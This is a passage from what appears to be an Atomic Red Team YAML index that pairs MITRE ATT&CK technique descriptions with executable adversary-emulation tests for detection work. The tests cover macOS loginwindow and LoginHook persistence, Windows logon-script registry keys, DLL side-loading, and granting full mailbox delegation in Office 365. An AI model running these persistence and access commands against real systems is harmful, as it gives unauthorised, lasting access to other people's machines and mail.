benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. " x_mitre_is_subtechnique: true x_mitre_version: '1.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Process: Process Modification' - 'Process: Process Access' - 'Process: OS API Execution' x_mitre_defense_bypassed: - Anti-virus - Application control spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1547.007: technique: x_mitre_platforms: - macOS x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--e5cc9e7a-e61a-46a1-b869-55fb6eab058e created: '2020-01-24T18:15:06.641Z' x_mitre_version: '1.1' external_references: - source_name: mitre-attack external_id: T1547.007 url: https://attack.mitre.org/techniques/T1547/007 - source_name: Re-Open windows on Mac url: https://support.apple.com/en-us/HT204005 description: Apple. (2016, December 6). Automatically re-open windows, apps, and documents on your Mac. Retrieved July 11, 2017. - source_name: Methods of Mac Malware Persistence url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf description: Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017. - source_name: Wardle Persistence Chapter url: https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf description: 'Patrick Wardle. (n.d.). Chapter 0x2: Persistence. Retrieved April 13, 2022.' x_mitre_deprecated: false revoked: false description: |- Adversaries may modify plist files to automatically run an application when a user logs in. When a user logs out or restarts via the macOS Graphical User Interface (GUI), a prompt is provided to the user with a checkbox to "Reopen windows when logging back in".(Citation: Re-Open windows on Mac) When selected, all applications currently open are added to a property list file named com.apple.loginwindow.[UUID].plist within the ~/Library/Preferences/ByHost directory.(Citation: Methods of Mac Malware Persistence)(Citation: Wardle Persistence Chapter) Applications listed in this file are automatically reopened upon the user’s next logon. Adversaries can establish [Persistence](https://attack.mitre.org/tactics/TA0003) by adding a malicious application path to the com.apple.loginwindow.[UUID].plist file to execute payloads when a user logs in. modified: '2022-05-11T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: 'Boot or Logon Autostart Execution: Re-opened Applications' x_mitre_detection: Monitoring the specific plist files associated with reopening applications can indicate when an application has registered itself to be reopened. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_is_subtechnique: true x_mitre_data_sources: - 'Command: Command Execution' - 'File: File Modification' x_mitre_permissions_required: - User x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1547.007 atomic_tests: - name: Copy in loginwindow.plist for Re-Opened Applications auto_generated_guid: 5fefd767-ef54-4ac6-84d3-751ab85e8aba description: 'Copy in new loginwindow.plist to launch Calculator. ' supported_platforms: - macos input_arguments: calc_plist_path: description: path to binary plist with entry to open calculator type: path default: PathToAtomicsFolder/T1547.007/src/reopen_loginwindow_calc.plist executor: command: 'cp #{calc_plist_path} ~/Library/Preferences/ByHost/com.apple.loginwindow.plist ' cleanup_command: 'rm -f ~/Library/Preferences/ByHost/com.apple.loginwindow.plist ' name: sh - name: Re-Opened Applications using LoginHook auto_generated_guid: 5f5b71da-e03f-42e7-ac98-d63f9e0465cb description: | Mac Defaults [Reference](https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CustomLogin.html) supported_platforms: - macos input_arguments: script: description: path to script type: path default: "/path/to/script" executor: command: 'sudo defaults write com.apple.loginwindow LoginHook #{script} ' cleanup_command: 'sudo defaults delete com.apple.loginwindow LoginHook ' elevation_required: true name: sh - name: Append to existing loginwindow for Re-Opened Applications auto_generated_guid: 766b6c3c-9353-4033-8b7e-38b309fa3a93 description: | Appends an entry to launch Calculator hidden loginwindow.*.plist for next login. Note that the change may not result in the added Calculator program launching on next user login. It may depend on which version of macOS you are running on. supported_platforms: - macos input_arguments: objc_source_path: description: path to objective C program type: path default: PathToAtomicsFolder/T1547.007/src/append_reopen_loginwindow.m exe_path: description: path to compiled program type: path default: "/tmp/t1547007_append_exe" dependency_executor_name: bash dependencies: - description: 'compile C program ' prereq_command: 'if [ -f "#{exe_path}" ]; then exit 0 ; else exit 1; fi ' get_prereq_command: 'cc #{objc_source_path} -o #{exe_path} -framework Cocoa ' executor: command: | FILE=`find ~/Library/Preferences/ByHost/com.apple.loginwindow.*.plist -type f | head -1` if [ -z "${FILE}" ] ; then echo "No loginwindow plist file found" && exit 1 ; fi echo save backup copy to /tmp/ cp ${FILE} /tmp/t1547007_loginwindow-backup.plist echo before plutil -p ${FILE} echo overwriting... #{exe_path} ${FILE} && echo after && plutil -p ${FILE} cleanup_command: | rm -f #{exe_path} # revert to backup copy FILE=`find ~/Library/Preferences/ByHost/com.apple.loginwindow.*.plist -type f | head -1` if [ -z "${FILE}" ] ; then exit 0 fi mv /tmp/t1547007_loginwindow-backup.plist ${FILE} name: sh T1574.002: technique: modified: '2023-05-09T14:00:00.188Z' name: 'Hijack Execution Flow: DLL Side-Loading' description: |- Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s). Side-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.(Citation: FireEye DLL Side-Loading) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_attack_spec_version: 2.1.0 x_mitre_deprecated: false x_mitre_detection: Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so) as well as the introduction of new files/programs. Track DLL metadata, such as a hash, and compare DLLs that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_platforms: - Windows x_mitre_version: '2.0' x_mitre_data_sources: - 'File: File Modification' - 'Process: Process Creation' - 'Module: Module Load' - 'File: File Creation' x_mitre_defense_bypassed: - Anti-virus - Application Control type: attack-pattern id: attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b created: '2020-03-13T19:41:37.908Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1574/002 external_id: T1574.002 - source_name: FireEye DLL Side-Loading description: 'Amanda Steward. (2014). FireEye DLL Side-Loading: A Thorn in the Side of the Anti-Virus Industry. Retrieved March 13, 2020.' url: https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 spec_version: '2.1' identifier: T1574.002 atomic_tests: - name: DLL Side-Loading using the Notepad++ GUP.exe binary auto_generated_guid: 65526037-7079-44a9-bda1-2cb624838040 description: | GUP is an open source signed binary used by Notepad++ for software updates, and is vulnerable to DLL Side-Loading, thus enabling the libcurl dll to be loaded. Upon execution, calc.exe will be opened. supported_platforms: - windows input_arguments: process_name: description: Name of the created process type: string default: calculator.exe gup_executable: description: GUP is an open source signed binary used by Notepad++ for software updates type: path default: PathToAtomicsFolder\T1574.002\bin\GUP.exe dependency_executor_name: powershell dependencies: - description: 'Gup.exe binary must exist on disk at specified location (#{gup_executable}) ' prereq_command: 'if (Test-Path "#{gup_executable}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{gup_executable}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.002/bin/GUP.exe?raw=true" -OutFile "#{gup_executable}" executor: command: '"#{gup_executable}" ' cleanup_command: 'taskkill /F /IM #{process_name} >nul 2>&1 ' name: command_prompt - name: DLL Side-Loading using the dotnet startup hook environment variable auto_generated_guid: d322cdd7-7d60-46e3-9111-648848da7c02 description: 'Utilizing the dotnet_startup_hooks environment variable, this method allows for registering a global method in an assembly that will be executed whenever a .net core application is started. This unlocks a whole range of scenarios, from injecting a profiler to tweaking a static context in a given environment. [blog post](https://medium.com/criteo-engineering/c-have-some-fun-with-net-core-startup-hooks-498b9ad001e1) ' supported_platforms: - windows input_arguments: process_name: description: Name of the created process type: string default: calculator.exe preloader_dll: description: library for interfacing with the dotnet framework type: path default: PathToAtomicsFolder\T1574.002\bin\preloader.dll dependency_executor_name: powershell dependencies: - description: ".Net SDK must be installed\n" prereq_command: 'if (Test-Path "C:\Program Files\dotnet\dotnet.exe") {exit 0} else {exit 1} ' get_prereq_command: | winget install Microsoft.DotNet.SDK.6 --accept-source-agreements --accept-package-agreements -h > $null echo. - description: 'preloader must exist ' prereq_command: 'if (Test-Path "#{preloader_dll}") {exit 0} else {exit 1} ' get_prereq_command: 'Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.002/bin/preloader?raw=true" -OutFile "#{preloader_dll}" ' executor: command: | set DOTNET_STARTUP_HOOKS="#{preloader_dll}" dotnet -h > nul echo. cleanup_command: 'taskkill /F /IM #{process_name} >nul 2>&1 ' name: command_prompt T1098.002: technique: modified: '2024-01-03T15:46:06.706Z' name: 'Account Manipulation: Additional Email Delegate Permissions' description: "Adversaries may grant additional permission levels to maintain persistent access to an adversary-controlled email account. \n\nFor example, the Add-MailboxPermission [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission)(Citation: FireEye APT35 2018)(Citation: Crowdstrike Hiding in Plain Sight 2018) In Google Workspace, delegation can be enabled via the Google Admin console and users can delegate accounts via their Gmail settings.(Citation: Gmail Delegation)(Citation: Google Ensuring Your Information is Safe) \n\nAdversaries may also assign mailbox folder permissions through individual folder permissions or roles. In Office 365 environments, adversaries may assign the Default or Anonymous user permissions or roles to the Top of Information Store (root), Inbox, or other mailbox folders. By assigning one or both user permissions to a folder, the adversary can utilize any other account in the tenant to maintain persistence to the target user’s mail folders.(Citation: Mandiant Defend UNC2452 White Paper)\n\nThis may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can add [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)), so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_contributors: - Microsoft Detection and Response Team (DART) - Mike Burns, Mandiant - Naveen Vijayaraghavan, Nilesh Dherange (Gurucul) - Jannie Li, Microsoft Threat Intelligence Center (MSTIC) - Arad Inbar, Fidelis Security x_mitre_deprecated: false x_mitre_detection: "Monitor for unusual Exchange and Office 365 email account permissions changes that may indicate excessively broad permissions being granted to compromised accounts.\n\nEnable the UpdateFolderPermissions action for all logon types. The mailbox audit log will forward folder permission modification events to the Unified Audit Log. Create rules to alert on ModifyFolderPermissions operations where the Anonymous or Default user is assigned permissions other than None. \n\nA larger than normal volume of emails sent from an account and similar phishing emails sent from  real accounts within a network may be a sign that an account was compromised and attempts to leverage access with modified email permissions is occurring." x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows - Office 365 - Google Workspace x_mitre_version: '2.1' x_mitre_data_sources: - 'Group: Group Modification' - 'Application Log: Application Log Content' - 'User Account: User Account Modification' type: attack-pattern id: attack-pattern--e74de37c-a829-446c-937d-56a44f0e9306 created: '2020-01-19T16:54:28.516Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1098/002 external_id: T1098.002 - source_name: Bienstock, D. - Defending O365 - 2019 description: 'Bienstock, D.. (2019). BECS and Beyond: Investigating and Defending O365. Retrieved September 13, 2019.' url: https://www.slideshare.net/DouglasBienstock/shmoocon-2019-becs-and-beyond-investigating-and-defending-office-365 - source_name: Crowdstrike Hiding in Plain Sight 2018 description: 'Crowdstrike. (2018, July 18). Hiding in Plain Sight: Using the Office 365 Activities API to Investigate Business Email Compromises. Retrieved January 19, 2020.' url: https://www.crowdstrike.com/blog/hiding-in-plain-sight-using-the-office-365-activities-api-to-investigate-business-email-compromises/ - source_name: Google Ensuring Your Information is Safe description: Google. (2011, June 1). Ensuring your information is safe online. Retrieved April 1, 2022. url: https://googleblog.blogspot.com/2011/06/ensuring-your-information-is-safe.html - source_name: Gmail Delegation description: Google. (n.d.). Turn Gmail delegation on or off. Retrieved April 1, 2022. url: https://support.google.com/a/answer/7223765?hl=en - source_name: FireEye APT35 2018 description: Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018. url: https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf - source_name: Mandiant Defend UNC2452 White Paper description: Mandiant. (2021, January 19). Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452. Retrieved January 22, 2021. url: https://www.mandiant.com/resources/blog/remediation-and-hardening-strategies-for-microsoft-365-to-defend-against-unc2452 - source_name: Microsoft - Add-MailboxPermission description: Microsoft. (n.d.). Add-Mailbox Permission. Retrieved September 13, 2019. url: https://docs.microsoft.com/en-us/powershell/module/exchange/mailboxes/add-mailboxpermission?view=exchange-ps object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1098.002 atomic_tests: - name: EXO - Full access mailbox permission granted to a user auto_generated_guid: 17d046be-fdd0-4cbb-b5c7-55c85d9d0714 description: | Give a nominated user, full mailbox delegation access of another user. This can be used by an adversary to maintain persistent access to a target's mailbox in M365. supported_platforms: - office-365 input_arguments: username: description: office-365 username type: string default: o365_user_test@contoso.com password: description: office-365 password type: string default: o365_password_test delegate_target: description: office-365 target_email type: string default: delegate@contoso.com operator_mailbox: description: office-365 target_email type: string default: operator@contoso.com dependency_executor_name: powershell dependencies: - description: 'ExchangeOnlineManagement PowerShell module must be installed ' prereq_command: | $RequiredModule = Get-Module -Name ExchangeOnlineManagement -ListAvailable if (-not $RequiredModule) {exit 1} if (-not $RequiredModule.ExportedCommands['Connect-ExchangeOnline']) {exit 1} else {exit 0} get_prereq_command: "Install-Module -Name ExchangeOnlineManagement \n" executor: command: | Import-Module ExchangeOnlineManagement $secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd Connect-ExchangeOnline -Credential $creds Add-MailboxPermission -Identity "#{delegate_target}" -User "#{operator_mailbox}" -AccessRights FullAccess -InheritanceType All Disconnect-ExchangeOnline -Confirm:$false cleanup_command: | Import-Module ExchangeOnlineManagement $secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd Connect-ExchangeOnline -Credential $creds Remove-MailboxPermission -Identity "#{delegate_target}" -User "#{operator_mailbox}" -AccessRights FullAccess -InheritanceType All -Confirm:$false Disconnect-ExchangeOnline -Confirm:$false name: powershell elevation_required: false T1548.006: technique: modified: '2024-04-17T00:02:12.021Z' name: TCC Manipulation description: "Adversaries can manipulate or abuse the Transparency, Consent, & Control (TCC) service or database to execute malicious applications with elevated permissions. TCC is a Privacy & Security macOS control mechanism used to determine if the running process has permission to access the data or services protected by TCC, such as screen sharing, camera, microphone, or Full Disk Access (FDA).\n\nWhen an application requests to access data or a service protected by TCC, the TCC daemon (`tccd`) checks the TCC database, located at `/Library/Application Support/com.apple.TCC/TCC.db` (and `~/` equivalent), for existing permissions. If permissions do not exist, then the user is prompted to grant permission. Once permissions are granted, the database stores the application's permissions and will not prompt the user again unless reset. For example, when a web browser requests permissions to the user's webcam, once granted the web browser may not explicitly prompt the user again.(Citation: welivesecurity TCC)\n\nAdversaries may manipulate the TCC database or otherwise abuse the TCC service to execute malicious content. This can be done in various ways, including using privileged system applications to execute malicious payloads or manipulating the database to grant their application TCC permissions. \n\nFor example, adversaries can use Finder, which has FDA permissions by default, to execute malicious [AppleScript](https://attack.mitre.org/techniques/T1059/002) while preventing a user prompt. For a system without System Integrity Protection (SIP) enabled, adversaries have also manipulated the operating system to load an adversary controlled TCC database using environment variables and [Launchctl](https://attack.mitre.org/techniques/T1569/001).(Citation: TCC macOS bypass)(Citation: TCC Database)\n\nAdversaries may also opt to instead inject code (e.g., [Process Injection](https://attack.mitre.org/techniques/T1055)) into targeted applications with the desired TCC permissions.\n" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_contributors: - Marina Liang x_mitre_deprecated: false x_mitre_detection: '' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - macOS x_mitre_version: '1.0' x_mitre_data_sources: - 'Command: Command Execution' - 'File: File Modification' - 'Process: Process Creation' type: attack-pattern id: attack-pattern--e8a0a025-3601-4755-abfb-8d08283329fb created: '2024-03-21T21:10:57.322Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1548/006 external_id: T1548.006 - source_name: welivesecurity TCC description: 'Marc-Etienne M.Léveillé. (2022, July 19). I see what you did there: A look at the CloudMensis macOS spyware. Retrieved March 21, 2024.' url: https://www.welivesecurity.com/2022/07/19/i-see-what-you-did-there-look-cloudmensis-macos-spyware/ - source_name: TCC Database description: 'Marina Liang. (2024, April 23). Return of the mac(OS): Transparency, Consent, and Control (TCC) Database Manipulation. Retrieved March 28, 2024.' url: https://interpressecurity.com/resources/return-of-the-macos-tcc/ - source_name: TCC macOS bypass description: Phil Stokes. (2021, July 1). Bypassing macOS TCC User Privacy Protections By Accident and Design. Retrieved March 21, 2024. url: https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1055.008: technique: x_mitre_platforms: - Linux x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--ea016b56-ae0e-47fe-967a-cc0ad51af67f type: attack-pattern created: '2020-01-14T01:33:19.065Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1055.008 url: https://attack.mitre.org/techniques/T1055/008 - source_name: PTRACE man url: http://man7.org/linux/man-pages/man2/ptrace.2.html description: Kerrisk, M. (2020, February 9). PTRACE(2) - Linux Programmer's Manual. Retrieved February 21, 2020. - source_name: Medium Ptrace JUL 2018 url: https://medium.com/@jain.sm/code-injection-in-running-process-using-ptrace-d3ea7191a4be description: Jain, S. (2018, July 25). Code injection in running process using ptrace. Retrieved February 21, 2020. - source_name: BH Linux Inject url: https://github.com/gaffe23/linux-inject/blob/master/slides_BHArsenal2015.pdf description: Colgan, T. (2015, August 15). Linux-Inject. Retrieved February 21, 2020. - description: 'Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017.' source_name: ArtOfMemoryForensics - url: https://www.gnu.org/software/acct/ description: GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017. source_name: GNU Acct - url: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing description: Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017. source_name: RHEL auditd - url: http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html description: stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017. source_name: Chokepoint preload rootkits modified: '2022-04-25T14:00:00.188Z' name: Ptrace System Calls description: "Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process. \n\nPtrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: malloc) then invoking that memory with PTRACE_SETREGS to set the register containing the next instruction to execute. Ptrace system call injection can also be done with PTRACE_POKETEXT/PTRACE_POKEDATA, which copy data to a specific address in the target processes’ memory (ex: the current address of the next instruction). (Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018) \n\nPtrace system call injection may not be possible targeting processes that are non-child processes and/or have higher-privileges.(Citation: BH Linux Inject) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_detection: "Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits) \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. " x_mitre_is_subtechnique: true x_mitre_version: '1.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Process: OS API Execution' - 'Process: Process Access' - 'Process: Process Modification' x_mitre_defense_bypassed: - Anti-virus - Application control spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1037.001: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--eb125d40-0b2d-41ac-a71a-3229241c2cd3 type: attack-pattern created: '2020-01-10T03:43:37.211Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1037.001 url: https://attack.mitre.org/techniques/T1037/001 - url: https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx description: Microsoft. (2005, January 21). Creating logon scripts. Retrieved April 27, 2016. source_name: TechNet Logon Scripts - source_name: Hexacorn Logon Scripts url: http://www.hexacorn.com/blog/2014/11/14/beyond-good-ol-run-key-part-18/ description: Hexacorn. (2014, November 14). Beyond good ol’ Run key, Part 18. Retrieved November 15, 2019. modified: '2021-04-29T14:49:39.188Z' name: 'Boot or Logon Initialization Scripts: Logon Script (Windows)' description: "Adversaries may use Windows logon scripts automatically executed at logon initialization to establish persistence. Windows allows logon scripts to be run whenever a specific user or group of users log into a system.(Citation: TechNet Logon Scripts) This is done via adding a path to a script to the HKCU\\Environment\\UserInitMprLogonScript Registry key.(Citation: Hexacorn Logon Scripts)\n\nAdversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_detection: |- Monitor for changes to Registry values associated with Windows logon scrips, nameley HKCU\Environment\UserInitMprLogonScript. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon. x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Command: Command Execution' - 'Process: Process Creation' - 'Windows Registry: Windows Registry Key Creation' spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1037.001 atomic_tests: - name: Logon Scripts auto_generated_guid: d6042746-07d4-4c92-9ad8-e644c114a231 description: | Adds a registry value to run batch script created in the %temp% directory. Upon execution, there will be a new environment variable in the HKCU\Environment key that can be viewed in the Registry Editor. supported_platforms: - windows input_arguments: script_path: description: Path to .bat file type: string default: "%temp%\\art.bat" script_command: description: Command To Execute type: string default: echo Art "Logon Script" atomic test was successful. >> %USERPROFILE%\desktop\T1037.001-log.txt executor: command: | echo "#{script_command}" > #{script_path} REG.exe ADD HKCU\Environment /v UserInitMprLogonScript /t REG_SZ /d "#{script_path}" /f cleanup_command: | REG.exe DELETE HKCU\Environment /v UserInitMprLogonScript /f >nul 2>&1 del #{script_path} >nul 2>&1 del "%USERPROFILE%\desktop\T1037.001-log.txt" >nul 2>&1 name: command_prompt T1055.015: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack x_mitre_contributors: - ESET object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--eb2cb5cb-ae87-4de0-8c35-da2a17aafb99 type: attack-pattern created: '2021-11-22T15:02:15.190Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1055.015 url: https://attack.mitre.org/techniques/T1055/015 - source_name: Microsoft List View Controls url: https://docs.microsoft.com/windows/win32/controls/list-view-controls-overview description: Microsoft. (2021, May 25). About List-View Controls. Retrieved January 4, 2022. - source_name: Modexp Windows Process Injection url: https://modexp.wordpress.com/2019/04/25/seven-window-injection-methods/ description: 'odzhan. (2019, April 25). Windows Process Injection: WordWarping, Hyphentension, AutoCourgette, Streamception, Oleum, ListPlanting, Treepoline. Retrieved November 15, 2021.' - source_name: ESET InvisiMole June 2020 url: https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf description: 'Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020.' modified: '2022-05-11T14:00:00.188Z' name: 'Process Injection: ListPlanting' description: "Adversaries may abuse list-view controls to inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. ListPlanting is a method of executing arbitrary code in the address space of a separate live process. Code executed via ListPlanting may also evade detection from security products since the execution is masked under a legitimate process.\n\nList-view controls are user interface windows used to display collections of items.(Citation: Microsoft List View Controls) Information about an application's list-view settings are stored within the process' memory in a SysListView32 control.\n\nListPlanting (a form of message-passing \"shatter attack\") may be performed by copying code into the virtual address space of a process that uses a list-view control then using that code as a custom callback for sorting the listed items.(Citation: Modexp Windows Process Injection) Adversaries must first copy code into the target process’ memory space, which can be performed various ways including by directly obtaining a handle to the SysListView32 child of the victim process window (via Windows API calls such as FindWindow and/or EnumWindows) or other [Process Injection](https://attack.mitre.org/techniques/T1055) methods.\n\nSome variations of ListPlanting may allocate memory in the target process but then use window messages to copy the payload, to avoid the use of the highly monitored WriteProcessMemory function. For example, an adversary can use the PostMessage and/or SendMessage API functions to send LVM_SETITEMPOSITION and LVM_GETITEMPOSITION messages, effectively copying a payload 2 bytes at a time to the allocated memory.(Citation: ESET InvisiMole June 2020) \n\nFinally, the payload is triggered by sending the LVM_SORTITEMS message to the SysListView32 child of the process window, with the payload within the newly allocated buffer passed and executed as the ListView_SortItems callback." kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_detection: "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as FindWindow, FindWindowEx, EnumWindows, EnumChildWindows, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be abused for this technique. \n\nConsider monitoring for excessive use of SendMessage and/or PostMessage API functions with LVM_SETITEMPOSITION and/or LVM_GETITEMPOSITION arguments.\n\nAnalyze process behavior to determine if a process is performing unusual actions, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. " x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Process: Process Modification' - 'Process: OS API Execution' x_mitre_permissions_required: - User spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1055.015 atomic_tests: - name: Process injection ListPlanting auto_generated_guid: 4f3c7502-b111-4dfe-8a6e-529307891a59 description: This test injects shellcode into a remote RegEdit process using the ListPlanting technique. ListPlanting exploits Window 